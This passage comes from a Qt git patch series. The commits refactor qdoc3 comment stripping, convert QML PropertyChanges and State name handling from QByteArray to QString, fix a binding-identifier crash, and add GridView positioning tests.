pattern.isEmpty() ) { while ( !plainLines.isEmpty() ) { QString line = plainLines.first(); - // Remove special macros to support Qt namespacing. - if (line.startsWith("QT_BEGIN_NAMESPACE")) { - getLine(); - } else if (line.startsWith("QT_END_NAMESPACE")) { - getLine(); - t += QLatin1Char('\n'); - } else if (!line.startsWith(comment)) - // Ordinary code - t += getLine(); - else { - // Normal comments - if (line.contains(QLatin1Char('\n'))) - t += QLatin1Char('\n'); - getLine(); - } + t += removeSpecialLines(line, comment); } } else { while ( !plainLines.isEmpty() ) { @@ -369,4 +342,27 @@ QString Quoter::commentForCode() const return commentHash.value(suffix, "//!"); } +QString Quoter::removeSpecialLines(const QString &line, const QString &comment) +{ + QString t; + + // Remove special macros to support Qt namespacing. + QString trimmed = line.trimmed(); + if (trimmed.startsWith("QT_BEGIN_NAMESPACE")) { + getLine(); + } else if (trimmed.startsWith("QT_END_NAMESPACE")) { + getLine(); + t += QLatin1Char('\n'); + } else if (!trimmed.startsWith(comment)) { + // Ordinary code + t += getLine(); + } else { + // Comments + if (line.contains(QLatin1Char('\n'))) + t += QLatin1Char('\n'); + getLine(); + } + return t; +} + QT_END_NAMESPACE diff --git a/tools/qdoc3/quoter.h b/tools/qdoc3/quoter.h index d984194..e1728d1 100644 --- a/tools/qdoc3/quoter.h +++ b/tools/qdoc3/quoter.h @@ -75,6 +75,7 @@ private: bool match( const Location& docLocation, const QString& pattern, const QString& line ); QString commentForCode() const; + QString removeSpecialLines(const QString &line, const QString &comment); bool silent; bool validRegExp; -- cgit v0.12 From 1476bf8d45b4f1ab6c56770939eb81c4c1b390ad Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Mon, 20 Dec 2010 14:29:19 +1000 Subject: Optimize name lookup for QDeclarativeProperty. If the property is constructed by passing in the property name (and we've verified that it is valid), we can cache that name immediately rather than reconstructing it on the first call to name(). Task-number: QTBUG-15331 Reviewed-by: Martin Jones --- src/declarative/qml/qdeclarativeproperty.cpp | 2 ++ 1 file changed, 2 insertions(+) diff --git a/src/declarative/qml/qdeclarativeproperty.cpp b/src/declarative/qml/qdeclarativeproperty.cpp index 60edd64..8eaa98b 100644 --- a/src/declarative/qml/qdeclarativeproperty.cpp +++ b/src/declarative/qml/qdeclarativeproperty.cpp @@ -315,6 +315,8 @@ void QDeclarativePropertyPrivate::initProperty(QObject *obj, const QString &name if (property && !(property->flags & QDeclarativePropertyCache::Data::IsFunction)) { object = currentObject; core = *property; + nameCache = terminal; + isNameCached = true; } } -- cgit v0.12 From a764a0b5d66e13fb69a5b69330c5edfecf89ee8b Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Tue, 21 Dec 2010 08:53:00 +1000 Subject: Optimize QByteArray to QString conversion in PropertyChanges. Perform the conversion once at compile time, rather than many times later. Task-number: QTBUG-15331 Reviewed-by: Martin Jones --- .../util/qdeclarativepropertychanges.cpp | 72 +++++++++++----------- .../util/qdeclarativepropertychanges_p.h | 18 +++--- src/declarative/util/qdeclarativestate.cpp | 24 ++++---- src/declarative/util/qdeclarativestate_p.h | 12 ++-- 4 files changed, 62 insertions(+), 64 deletions(-) diff --git a/src/declarative/util/qdeclarativepropertychanges.cpp b/src/declarative/util/qdeclarativepropertychanges.cpp index 400803e..6737382 100644 --- a/src/declarative/util/qdeclarativepropertychanges.cpp +++ b/src/declarative/util/qdeclarativepropertychanges.cpp @@ -220,12 +220,12 @@ public: void decode(); - QList > properties; - QList > expressions; + QList > properties; + QList > expressions; QList ids; QList signalReplacements; - QDeclarativeProperty property(const QByteArray &); + QDeclarativeProperty property(const QString &); }; void @@ -293,7 +293,7 @@ QDeclarativePropertyChangesParser::compile(const QList> count; for (int ii = 0; ii < count; ++ii) { - QByteArray name; + QString name; bool isScript; QVariant data; QDeclarativeBinding::Identifier id; @@ -405,15 +405,15 @@ void QDeclarativePropertyChanges::setRestoreEntryValues(bool v) } QDeclarativeProperty -QDeclarativePropertyChangesPrivate::property(const QByteArray &property) +QDeclarativePropertyChangesPrivate::property(const QString &property) { Q_Q(QDeclarativePropertyChanges); - QDeclarativeProperty prop(object, QString::fromUtf8(property), qmlContext(q)); + QDeclarativeProperty prop(object, property, qmlContext(q)); if (!prop.isValid()) { - qmlInfo(q) << QDeclarativePropertyChanges::tr("Cannot assign to non-existent property \"%1\"").arg(QString::fromUtf8(property)); + qmlInfo(q) << QDeclarativePropertyChanges::tr("Cannot assign to non-existent property \"%1\"").arg(property); return QDeclarativeProperty(); } else if (!(prop.type() & QDeclarativeProperty::SignalProperty) && !prop.isWritable()) { - qmlInfo(q) << QDeclarativePropertyChanges::tr("Cannot assign to read-only property \"%1\"").arg(QString::fromUtf8(property)); + qmlInfo(q) << QDeclarativePropertyChanges::tr("Cannot assign to read-only property \"%1\"").arg(property); return QDeclarativeProperty(); } return prop; @@ -429,9 +429,7 @@ QDeclarativePropertyChanges::ActionList QDeclarativePropertyChanges::actions() for (int ii = 0; ii < d->properties.count(); ++ii) { - QByteArray property = d->properties.at(ii).first; - - QDeclarativeAction a(d->object, QString::fromUtf8(property), + QDeclarativeAction a(d->object, d->properties.at(ii).first, qmlContext(this), d->properties.at(ii).second); if (a.property.isValid()) { @@ -453,7 +451,7 @@ QDeclarativePropertyChanges::ActionList QDeclarativePropertyChanges::actions() for (int ii = 0; ii < d->expressions.count(); ++ii) { - QByteArray property = d->expressions.at(ii).first; + const QString &property = d->expressions.at(ii).first; QDeclarativeProperty prop = d->property(property); if (prop.isValid()) { @@ -462,7 +460,7 @@ QDeclarativePropertyChanges::ActionList QDeclarativePropertyChanges::actions() a.property = prop; a.fromValue = a.property.read(); a.specifiedObject = d->object; - a.specifiedProperty = QString::fromUtf8(property); + a.specifiedProperty = property; if (d->isExplicit) { a.toValue = d->expressions.at(ii).second->evaluate(); @@ -518,10 +516,10 @@ void QDeclarativePropertyChanges::setIsExplicit(bool e) d->isExplicit = e; } -bool QDeclarativePropertyChanges::containsValue(const QByteArray &name) const +bool QDeclarativePropertyChanges::containsValue(const QString &name) const { Q_D(const QDeclarativePropertyChanges); - typedef QPair PropertyEntry; + typedef QPair PropertyEntry; QListIterator propertyIterator(d->properties); while (propertyIterator.hasNext()) { @@ -534,10 +532,10 @@ bool QDeclarativePropertyChanges::containsValue(const QByteArray &name) const return false; } -bool QDeclarativePropertyChanges::containsExpression(const QByteArray &name) const +bool QDeclarativePropertyChanges::containsExpression(const QString &name) const { Q_D(const QDeclarativePropertyChanges); - typedef QPair ExpressionEntry; + typedef QPair ExpressionEntry; QListIterator expressionIterator(d->expressions); while (expressionIterator.hasNext()) { @@ -550,16 +548,16 @@ bool QDeclarativePropertyChanges::containsExpression(const QByteArray &name) con return false; } -bool QDeclarativePropertyChanges::containsProperty(const QByteArray &name) const +bool QDeclarativePropertyChanges::containsProperty(const QString &name) const { return containsValue(name) || containsExpression(name); } -void QDeclarativePropertyChanges::changeValue(const QByteArray &name, const QVariant &value) +void QDeclarativePropertyChanges::changeValue(const QString &name, const QVariant &value) { Q_D(QDeclarativePropertyChanges); - typedef QPair PropertyEntry; - typedef QPair ExpressionEntry; + typedef QPair PropertyEntry; + typedef QPair ExpressionEntry; QMutableListIterator expressionIterator(d->expressions); while (expressionIterator.hasNext()) { @@ -596,7 +594,7 @@ void QDeclarativePropertyChanges::changeValue(const QByteArray &name, const QVar action.property = d->property(name); action.fromValue = action.property.read(); action.specifiedObject = object(); - action.specifiedProperty = QString::fromUtf8(name); + action.specifiedProperty = name; action.toValue = value; propertyIterator.insert(PropertyEntry(name, value)); @@ -609,11 +607,11 @@ void QDeclarativePropertyChanges::changeValue(const QByteArray &name, const QVar } } -void QDeclarativePropertyChanges::changeExpression(const QByteArray &name, const QString &expression) +void QDeclarativePropertyChanges::changeExpression(const QString &name, const QString &expression) { Q_D(QDeclarativePropertyChanges); - typedef QPair PropertyEntry; - typedef QPair ExpressionEntry; + typedef QPair PropertyEntry; + typedef QPair ExpressionEntry; bool hadValue = false; @@ -667,7 +665,7 @@ void QDeclarativePropertyChanges::changeExpression(const QByteArray &name, const action.property = d->property(name); action.fromValue = action.property.read(); action.specifiedObject = object(); - action.specifiedProperty = QString::fromUtf8(name); + action.specifiedProperty = name; if (d->isExplicit) { @@ -690,11 +688,11 @@ void QDeclarativePropertyChanges::changeExpression(const QByteArray &name, const // what about the signal handler? } -QVariant QDeclarativePropertyChanges::property(const QByteArray &name) const +QVariant QDeclarativePropertyChanges::property(const QString &name) const { Q_D(const QDeclarativePropertyChanges); - typedef QPair PropertyEntry; - typedef QPair ExpressionEntry; + typedef QPair PropertyEntry; + typedef QPair ExpressionEntry; QListIterator propertyIterator(d->properties); while (propertyIterator.hasNext()) { @@ -715,11 +713,11 @@ QVariant QDeclarativePropertyChanges::property(const QByteArray &name) const return QVariant(); } -void QDeclarativePropertyChanges::removeProperty(const QByteArray &name) +void QDeclarativePropertyChanges::removeProperty(const QString &name) { Q_D(QDeclarativePropertyChanges); - typedef QPair PropertyEntry; - typedef QPair ExpressionEntry; + typedef QPair PropertyEntry; + typedef QPair ExpressionEntry; QMutableListIterator expressionIterator(d->expressions); while (expressionIterator.hasNext()) { @@ -742,10 +740,10 @@ void QDeclarativePropertyChanges::removeProperty(const QByteArray &name) } } -QVariant QDeclarativePropertyChanges::value(const QByteArray &name) const +QVariant QDeclarativePropertyChanges::value(const QString &name) const { Q_D(const QDeclarativePropertyChanges); - typedef QPair PropertyEntry; + typedef QPair PropertyEntry; QListIterator propertyIterator(d->properties); while (propertyIterator.hasNext()) { @@ -758,10 +756,10 @@ QVariant QDeclarativePropertyChanges::value(const QByteArray &name) const return QVariant(); } -QString QDeclarativePropertyChanges::expression(const QByteArray &name) const +QString QDeclarativePropertyChanges::expression(const QString &name) const { Q_D(const QDeclarativePropertyChanges); - typedef QPair ExpressionEntry; + typedef QPair ExpressionEntry; QListIterator expressionIterator(d->expressions); while (expressionIterator.hasNext()) { diff --git a/src/declarative/util/qdeclarativepropertychanges_p.h b/src/declarative/util/qdeclarativepropertychanges_p.h index 449574c..1a98cec 100644 --- a/src/declarative/util/qdeclarativepropertychanges_p.h +++ b/src/declarative/util/qdeclarativepropertychanges_p.h @@ -75,19 +75,19 @@ public: virtual ActionList actions(); - bool containsProperty(const QByteArray &name) const; - bool containsValue(const QByteArray &name) const; - bool containsExpression(const QByteArray &name) const; - void changeValue(const QByteArray &name, const QVariant &value); - void changeExpression(const QByteArray &name, const QString &expression); - void removeProperty(const QByteArray &name); - QVariant value(const QByteArray &name) const; - QString expression(const QByteArray &name) const; + bool containsProperty(const QString &name) const; + bool containsValue(const QString &name) const; + bool containsExpression(const QString &name) const; + void changeValue(const QString &name, const QVariant &value); + void changeExpression(const QString &name, const QString &expression); + void removeProperty(const QString &name); + QVariant value(const QString &name) const; + QString expression(const QString &name) const; void detachFromState(); void attachToState(); - QVariant property(const QByteArray &name) const; + QVariant property(const QString &name) const; }; class QDeclarativePropertyChangesParser : public QDeclarativeCustomParser diff --git a/src/declarative/util/qdeclarativestate.cpp b/src/declarative/util/qdeclarativestate.cpp index 6925e03..cde6f00 100644 --- a/src/declarative/util/qdeclarativestate.cpp +++ b/src/declarative/util/qdeclarativestate.cpp @@ -370,7 +370,7 @@ void QDeclarativeAction::deleteFromBinding() } } -bool QDeclarativeState::containsPropertyInRevertList(QObject *target, const QByteArray &name) const +bool QDeclarativeState::containsPropertyInRevertList(QObject *target, const QString &name) const { Q_D(const QDeclarativeState); @@ -379,7 +379,7 @@ bool QDeclarativeState::containsPropertyInRevertList(QObject *target, const QByt while (revertListIterator.hasNext()) { const QDeclarativeSimpleAction &simpleAction = revertListIterator.next(); - if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty().toUtf8() == name) + if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty() == name) return true; } } @@ -387,7 +387,7 @@ bool QDeclarativeState::containsPropertyInRevertList(QObject *target, const QByt return false; } -bool QDeclarativeState::changeValueInRevertList(QObject *target, const QByteArray &name, const QVariant &revertValue) +bool QDeclarativeState::changeValueInRevertList(QObject *target, const QString &name, const QVariant &revertValue) { Q_D(QDeclarativeState); @@ -396,7 +396,7 @@ bool QDeclarativeState::changeValueInRevertList(QObject *target, const QByteArra while (revertListIterator.hasNext()) { QDeclarativeSimpleAction &simpleAction = revertListIterator.next(); - if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty().toUtf8() == name) { + if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty() == name) { simpleAction.setValue(revertValue); return true; } @@ -406,7 +406,7 @@ bool QDeclarativeState::changeValueInRevertList(QObject *target, const QByteArra return false; } -bool QDeclarativeState::changeBindingInRevertList(QObject *target, const QByteArray &name, QDeclarativeAbstractBinding *binding) +bool QDeclarativeState::changeBindingInRevertList(QObject *target, const QString &name, QDeclarativeAbstractBinding *binding) { Q_D(QDeclarativeState); @@ -415,7 +415,7 @@ bool QDeclarativeState::changeBindingInRevertList(QObject *target, const QByteAr while (revertListIterator.hasNext()) { QDeclarativeSimpleAction &simpleAction = revertListIterator.next(); - if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty().toUtf8() == name) { + if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty() == name) { if (simpleAction.binding()) simpleAction.binding()->destroy(); @@ -428,7 +428,7 @@ bool QDeclarativeState::changeBindingInRevertList(QObject *target, const QByteAr return false; } -bool QDeclarativeState::removeEntryFromRevertList(QObject *target, const QByteArray &name) +bool QDeclarativeState::removeEntryFromRevertList(QObject *target, const QString &name) { Q_D(QDeclarativeState); @@ -437,7 +437,7 @@ bool QDeclarativeState::removeEntryFromRevertList(QObject *target, const QByteAr while (revertListIterator.hasNext()) { QDeclarativeSimpleAction &simpleAction = revertListIterator.next(); - if (simpleAction.property().object() == target && simpleAction.property().name().toUtf8() == name) { + if (simpleAction.property().object() == target && simpleAction.property().name() == name) { QDeclarativeAbstractBinding *oldBinding = QDeclarativePropertyPrivate::binding(simpleAction.property()); if (oldBinding) { QDeclarativePropertyPrivate::setBinding(simpleAction.property(), 0); @@ -517,7 +517,7 @@ void QDeclarativeState::addEntriesToRevertList(const QList & } } -QVariant QDeclarativeState::valueInRevertList(QObject *target, const QByteArray &name) const +QVariant QDeclarativeState::valueInRevertList(QObject *target, const QString &name) const { Q_D(const QDeclarativeState); @@ -526,7 +526,7 @@ QVariant QDeclarativeState::valueInRevertList(QObject *target, const QByteArray while (revertListIterator.hasNext()) { const QDeclarativeSimpleAction &simpleAction = revertListIterator.next(); - if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty().toUtf8() == name) + if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty() == name) return simpleAction.value(); } } @@ -534,7 +534,7 @@ QVariant QDeclarativeState::valueInRevertList(QObject *target, const QByteArray return QVariant(); } -QDeclarativeAbstractBinding *QDeclarativeState::bindingInRevertList(QObject *target, const QByteArray &name) const +QDeclarativeAbstractBinding *QDeclarativeState::bindingInRevertList(QObject *target, const QString &name) const { Q_D(const QDeclarativeState); @@ -543,7 +543,7 @@ QDeclarativeAbstractBinding *QDeclarativeState::bindingInRevertList(QObject *tar while (revertListIterator.hasNext()) { const QDeclarativeSimpleAction &simpleAction = revertListIterator.next(); - if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty().toUtf8() == name) + if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty() == name) return simpleAction.binding(); } } diff --git a/src/declarative/util/qdeclarativestate_p.h b/src/declarative/util/qdeclarativestate_p.h index 7b9c18a..dd43a50 100644 --- a/src/declarative/util/qdeclarativestate_p.h +++ b/src/declarative/util/qdeclarativestate_p.h @@ -180,15 +180,15 @@ public: QDeclarativeStateGroup *stateGroup() const; void setStateGroup(QDeclarativeStateGroup *); - bool containsPropertyInRevertList(QObject *target, const QByteArray &name) const; - bool changeValueInRevertList(QObject *target, const QByteArray &name, const QVariant &revertValue); - bool changeBindingInRevertList(QObject *target, const QByteArray &name, QDeclarativeAbstractBinding *binding); - bool removeEntryFromRevertList(QObject *target, const QByteArray &name); + bool containsPropertyInRevertList(QObject *target, const QString &name) const; + bool changeValueInRevertList(QObject *target, const QString &name, const QVariant &revertValue); + bool changeBindingInRevertList(QObject *target, const QString &name, QDeclarativeAbstractBinding *binding); + bool removeEntryFromRevertList(QObject *target, const QString &name); void addEntryToRevertList(const QDeclarativeAction &action); void removeAllEntriesFromRevertList(QObject *target); void addEntriesToRevertList(const QList &actions); - QVariant valueInRevertList(QObject *target, const QByteArray &name) const; - QDeclarativeAbstractBinding *bindingInRevertList(QObject *target, const QByteArray &name) const; + QVariant valueInRevertList(QObject *target, const QString &name) const; + QDeclarativeAbstractBinding *bindingInRevertList(QObject *target, const QString &name) const; bool isStateActive() const; -- cgit v0.12 From 3468ee1a47bc646fe2af5de38425ee917ea92f59 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Tue, 21 Dec 2010 13:52:44 +1000 Subject: Fix potential crash in PropertyChanges binding rewrite handling. This fixes the autotest regression for tst_qdeclarativestates::editProperties introduced by 488e616b50707e5b37162e6d0cfc71a1ffdf9bef. Reviewed-by: Joona Petrell --- src/declarative/qml/qdeclarativebinding.cpp | 5 ++ src/declarative/qml/qdeclarativebinding_p.h | 1 + .../util/qdeclarativepropertychanges.cpp | 63 ++++++++++++---------- 3 files changed, 42 insertions(+), 27 deletions(-) diff --git a/src/declarative/qml/qdeclarativebinding.cpp b/src/declarative/qml/qdeclarativebinding.cpp index 1ead6ce..223d057 100644 --- a/src/declarative/qml/qdeclarativebinding.cpp +++ b/src/declarative/qml/qdeclarativebinding.cpp @@ -209,6 +209,8 @@ void QDeclarativeAbstractBinding::setEnabled(bool enabled, QDeclarativePropertyP if (enabled) update(flags); } +QDeclarativeBinding::Identifier QDeclarativeBinding::Invalid = -1; + void QDeclarativeBindingPrivate::refresh() { Q_Q(QDeclarativeBinding); @@ -238,6 +240,9 @@ QDeclarativeBinding * QDeclarativeBinding::createBinding(Identifier id, QObject *obj, QDeclarativeContext *ctxt, const QString &url, int lineNumber, QObject *parent) { + if (id < 0) + return 0; + QDeclarativeContextData *ctxtdata = QDeclarativeContextData::get(ctxt); QDeclarativeEnginePrivate *engine = QDeclarativeEnginePrivate::get(qmlEngine(obj)); diff --git a/src/declarative/qml/qdeclarativebinding_p.h b/src/declarative/qml/qdeclarativebinding_p.h index 787a3b9..69931d9 100644 --- a/src/declarative/qml/qdeclarativebinding_p.h +++ b/src/declarative/qml/qdeclarativebinding_p.h @@ -163,6 +163,7 @@ public: virtual QString expression() const; typedef int Identifier; + static Identifier Invalid; static QDeclarativeBinding *createBinding(Identifier, QObject *, QDeclarativeContext *, const QString &, int, QObject *parent=0); public Q_SLOTS: diff --git a/src/declarative/util/qdeclarativepropertychanges.cpp b/src/declarative/util/qdeclarativepropertychanges.cpp index 6737382..47f03a1 100644 --- a/src/declarative/util/qdeclarativepropertychanges.cpp +++ b/src/declarative/util/qdeclarativepropertychanges.cpp @@ -220,9 +220,19 @@ public: void decode(); + class ExpressionChange { + public: + ExpressionChange(const QString &_name, + QDeclarativeBinding::Identifier _id, + QDeclarativeExpression *_expr) + : name(_name), id(_id), expression(_expr) {} + QString name; + QDeclarativeBinding::Identifier id; + QDeclarativeExpression *expression; + }; + QList > properties; - QList > expressions; - QList ids; + QList expressions; QList signalReplacements; QDeclarativeProperty property(const QString &); @@ -315,7 +325,7 @@ void QDeclarativePropertyChangesPrivate::decode() QString name; bool isScript; QVariant data; - QDeclarativeBinding::Identifier id; + QDeclarativeBinding::Identifier id = QDeclarativeBinding::Invalid; ds >> name; ds >> isScript; ds >> data; @@ -337,8 +347,7 @@ void QDeclarativePropertyChangesPrivate::decode() QDeclarativeData *ddata = QDeclarativeData::get(q); if (ddata && ddata->outerContext && !ddata->outerContext->url.isEmpty()) expression->setSourceLocation(ddata->outerContext->url.toString(), ddata->lineNumber); - expressions << qMakePair(name, expression); - ids << id; + expressions << ExpressionChange(name, id, expression); } else { properties << qMakePair(name, data); } @@ -366,7 +375,7 @@ QDeclarativePropertyChanges::~QDeclarativePropertyChanges() { Q_D(QDeclarativePropertyChanges); for(int ii = 0; ii < d->expressions.count(); ++ii) - delete d->expressions.at(ii).second; + delete d->expressions.at(ii).expression; for(int ii = 0; ii < d->signalReplacements.count(); ++ii) delete d->signalReplacements.at(ii); } @@ -451,7 +460,7 @@ QDeclarativePropertyChanges::ActionList QDeclarativePropertyChanges::actions() for (int ii = 0; ii < d->expressions.count(); ++ii) { - const QString &property = d->expressions.at(ii).first; + const QString &property = d->expressions.at(ii).name; QDeclarativeProperty prop = d->property(property); if (prop.isValid()) { @@ -463,12 +472,12 @@ QDeclarativePropertyChanges::ActionList QDeclarativePropertyChanges::actions() a.specifiedProperty = property; if (d->isExplicit) { - a.toValue = d->expressions.at(ii).second->evaluate(); + a.toValue = d->expressions.at(ii).expression->evaluate(); } else { - QDeclarativeExpression *e = d->expressions.at(ii).second; + QDeclarativeExpression *e = d->expressions.at(ii).expression; - QDeclarativeBinding::Identifier id = d->ids.at(ii); - QDeclarativeBinding *newBinding = QDeclarativeBinding::createBinding(id, object(), qmlContext(this), e->sourceFile(), e->lineNumber()); + QDeclarativeBinding::Identifier id = d->expressions.at(ii).id; + QDeclarativeBinding *newBinding = id != QDeclarativeBinding::Invalid ? QDeclarativeBinding::createBinding(id, object(), qmlContext(this), e->sourceFile(), e->lineNumber()) : 0; if (!newBinding) { newBinding = new QDeclarativeBinding(e->expression(), object(), qmlContext(this)); newBinding->setSourceLocation(e->sourceFile(), e->lineNumber()); @@ -535,12 +544,12 @@ bool QDeclarativePropertyChanges::containsValue(const QString &name) const bool QDeclarativePropertyChanges::containsExpression(const QString &name) const { Q_D(const QDeclarativePropertyChanges); - typedef QPair ExpressionEntry; + typedef QDeclarativePropertyChangesPrivate::ExpressionChange ExpressionEntry; QListIterator expressionIterator(d->expressions); while (expressionIterator.hasNext()) { const ExpressionEntry &entry = expressionIterator.next(); - if (entry.first == name) { + if (entry.name == name) { return true; } } @@ -557,12 +566,12 @@ void QDeclarativePropertyChanges::changeValue(const QString &name, const QVarian { Q_D(QDeclarativePropertyChanges); typedef QPair PropertyEntry; - typedef QPair ExpressionEntry; + typedef QDeclarativePropertyChangesPrivate::ExpressionChange ExpressionEntry; QMutableListIterator expressionIterator(d->expressions); while (expressionIterator.hasNext()) { const ExpressionEntry &entry = expressionIterator.next(); - if (entry.first == name) { + if (entry.name == name) { expressionIterator.remove(); if (state() && state()->isStateActive()) { QDeclarativeAbstractBinding *oldBinding = QDeclarativePropertyPrivate::binding(d->property(name)); @@ -611,7 +620,7 @@ void QDeclarativePropertyChanges::changeExpression(const QString &name, const QS { Q_D(QDeclarativePropertyChanges); typedef QPair PropertyEntry; - typedef QPair ExpressionEntry; + typedef QDeclarativePropertyChangesPrivate::ExpressionChange ExpressionEntry; bool hadValue = false; @@ -628,8 +637,8 @@ void QDeclarativePropertyChanges::changeExpression(const QString &name, const QS QMutableListIterator expressionIterator(d->expressions); while (expressionIterator.hasNext()) { const ExpressionEntry &entry = expressionIterator.next(); - if (entry.first == name) { - entry.second->setExpression(expression); + if (entry.name == name) { + entry.expression->setExpression(expression); if (state() && state()->isStateActive()) { QDeclarativeAbstractBinding *oldBinding = QDeclarativePropertyPrivate::binding(d->property(name)); if (oldBinding) { @@ -646,7 +655,7 @@ void QDeclarativePropertyChanges::changeExpression(const QString &name, const QS } QDeclarativeExpression *newExpression = new QDeclarativeExpression(qmlContext(this), d->object, expression); - expressionIterator.insert(ExpressionEntry(name, newExpression)); + expressionIterator.insert(ExpressionEntry(name, QDeclarativeBinding::Invalid, newExpression)); if (state() && state()->isStateActive()) { if (hadValue) { @@ -692,7 +701,7 @@ QVariant QDeclarativePropertyChanges::property(const QString &name) const { Q_D(const QDeclarativePropertyChanges); typedef QPair PropertyEntry; - typedef QPair ExpressionEntry; + typedef QDeclarativePropertyChangesPrivate::ExpressionChange ExpressionEntry; QListIterator propertyIterator(d->properties); while (propertyIterator.hasNext()) { @@ -705,8 +714,8 @@ QVariant QDeclarativePropertyChanges::property(const QString &name) const QListIterator expressionIterator(d->expressions); while (expressionIterator.hasNext()) { const ExpressionEntry &entry = expressionIterator.next(); - if (entry.first == name) { - return QVariant(entry.second->expression()); + if (entry.name == name) { + return QVariant(entry.expression->expression()); } } @@ -717,12 +726,12 @@ void QDeclarativePropertyChanges::removeProperty(const QString &name) { Q_D(QDeclarativePropertyChanges); typedef QPair PropertyEntry; - typedef QPair ExpressionEntry; + typedef QDeclarativePropertyChangesPrivate::ExpressionChange ExpressionEntry; QMutableListIterator expressionIterator(d->expressions); while (expressionIterator.hasNext()) { const ExpressionEntry &entry = expressionIterator.next(); - if (entry.first == name) { + if (entry.name == name) { expressionIterator.remove(); state()->removeEntryFromRevertList(object(), name); return; @@ -759,13 +768,13 @@ QVariant QDeclarativePropertyChanges::value(const QString &name) const QString QDeclarativePropertyChanges::expression(const QString &name) const { Q_D(const QDeclarativePropertyChanges); - typedef QPair ExpressionEntry; + typedef QDeclarativePropertyChangesPrivate::ExpressionChange ExpressionEntry; QListIterator expressionIterator(d->expressions); while (expressionIterator.hasNext()) { const ExpressionEntry &entry = expressionIterator.next(); - if (entry.first == name) { - return entry.second->expression(); + if (entry.name == name) { + return entry.expression->expression(); } } -- cgit v0.12 From 956c026be3f0a701024aaa466e158a3744284a83 Mon Sep 17 00:00:00 2001 From: Christopher Ham Date: Tue, 21 Dec 2010 17:05:04 +1000 Subject: ContentX and ContentY reset on flow change The gridView should be visible when the flow is changed, regardless of the content position before the flow change. Task-number: QTBUG-16230 Reviewed-by: Martin Jones --- src/declarative/graphicsitems/qdeclarativegridview.cpp | 2 ++ 1 file changed, 2 insertions(+) diff --git a/src/declarative/graphicsitems/qdeclarativegridview.cpp b/src/declarative/graphicsitems/qdeclarativegridview.cpp index 4a6a9dc..5aa88b5 100644 --- a/src/declarative/graphicsitems/qdeclarativegridview.cpp +++ b/src/declarative/graphicsitems/qdeclarativegridview.cpp @@ -1606,6 +1606,8 @@ void QDeclarativeGridView::setFlow(Flow flow) setContentHeight(-1); setFlickableDirection(QDeclarativeFlickable::HorizontalFlick); } + setContentX(0); + setContentY(0); d->clear(); d->updateGrid(); refill(); -- cgit v0.12 From 5af714b2f1ec9dd85707809397751128c95a93bf Mon Sep 17 00:00:00 2001 From: Christopher Ham Date: Tue, 21 Dec 2010 17:23:46 +1000 Subject: Adding autotest coverage to QDecalarativeGridView Tests added for snapping, and adding coverage for TopToBottom flow Reviewed-by: Martin Jones --- .../tst_qdeclarativegridview.cpp | 92 ++++++++++++++++++++++ 1 file changed, 92 insertions(+) diff --git a/tests/auto/declarative/qdeclarativegridview/tst_qdeclarativegridview.cpp b/tests/auto/declarative/qdeclarativegridview/tst_qdeclarativegridview.cpp index fd5d140..bd9885d 100644 --- a/tests/auto/declarative/qdeclarativegridview/tst_qdeclarativegridview.cpp +++ b/tests/auto/declarative/qdeclarativegridview/tst_qdeclarativegridview.cpp @@ -78,6 +78,7 @@ private slots: void componentChanges(); void modelChanges(); void positionViewAtIndex(); + void snapping(); void resetModel(); void enforceRange(); void QTBUG_8456(); @@ -993,6 +994,7 @@ void tst_QDeclarativeGridView::positionViewAtIndex() // Position on a currently visible item gridview->positionViewAtIndex(4, QDeclarativeGridView::Beginning); + QTRY_COMPARE(gridview->indexAt(120, 90), 4); QTRY_COMPARE(gridview->contentY(), 60.); // Confirm items positioned correctly @@ -1007,6 +1009,7 @@ void tst_QDeclarativeGridView::positionViewAtIndex() // Position on an item beyond the visible items gridview->positionViewAtIndex(21, QDeclarativeGridView::Beginning); + QTRY_COMPARE(gridview->indexAt(40, 450), 21); QTRY_COMPARE(gridview->contentY(), 420.); // Confirm items positioned correctly @@ -1021,6 +1024,7 @@ void tst_QDeclarativeGridView::positionViewAtIndex() // Position on an item that would leave empty space if positioned at the top gridview->positionViewAtIndex(31, QDeclarativeGridView::Beginning); + QTRY_COMPARE(gridview->indexAt(120, 630), 31); QTRY_COMPARE(gridview->contentY(), 520.); // Confirm items positioned correctly @@ -1035,6 +1039,9 @@ void tst_QDeclarativeGridView::positionViewAtIndex() // Position at the beginning again gridview->positionViewAtIndex(0, QDeclarativeGridView::Beginning); + QTRY_COMPARE(gridview->indexAt(0, 0), 0); + QTRY_COMPARE(gridview->indexAt(40, 30), 0); + QTRY_COMPARE(gridview->indexAt(80, 60), 4); QTRY_COMPARE(gridview->contentY(), 0.); // Confirm items positioned correctly @@ -1088,6 +1095,82 @@ void tst_QDeclarativeGridView::positionViewAtIndex() gridview->positionViewAtIndex(20, QDeclarativeGridView::Contain); QTRY_COMPARE(gridview->contentY(), 100.); + // Test for Top To Bottom layout + ctxt->setContextProperty("testTopToBottom", QVariant(true)); + + // Confirm items positioned correctly + itemCount = findItems(contentItem, "wrapper").count(); + for (int i = 0; i < model.count() && i < itemCount-1; ++i) { + QDeclarativeItem *item = findItem(contentItem, "wrapper", i); + if (!item) qWarning() << "Item" << i << "not found"; + QTRY_VERIFY(item); + QTRY_COMPARE(item->x(), (i/5)*80.); + QTRY_COMPARE(item->y(), (i%5)*60.); + } + + // Position at End + gridview->positionViewAtIndex(30, QDeclarativeGridView::End); + QTRY_COMPARE(gridview->contentX(), 320.); + QTRY_COMPARE(gridview->contentY(), 0.); + + // Position in Center + gridview->positionViewAtIndex(15, QDeclarativeGridView::Center); + QTRY_COMPARE(gridview->contentX(), 160.); + + // Ensure at least partially visible + gridview->positionViewAtIndex(15, QDeclarativeGridView::Visible); + QTRY_COMPARE(gridview->contentX(), 160.); + + gridview->setContentX(170); + gridview->positionViewAtIndex(25, QDeclarativeGridView::Visible); + QTRY_COMPARE(gridview->contentX(), 170.); + + 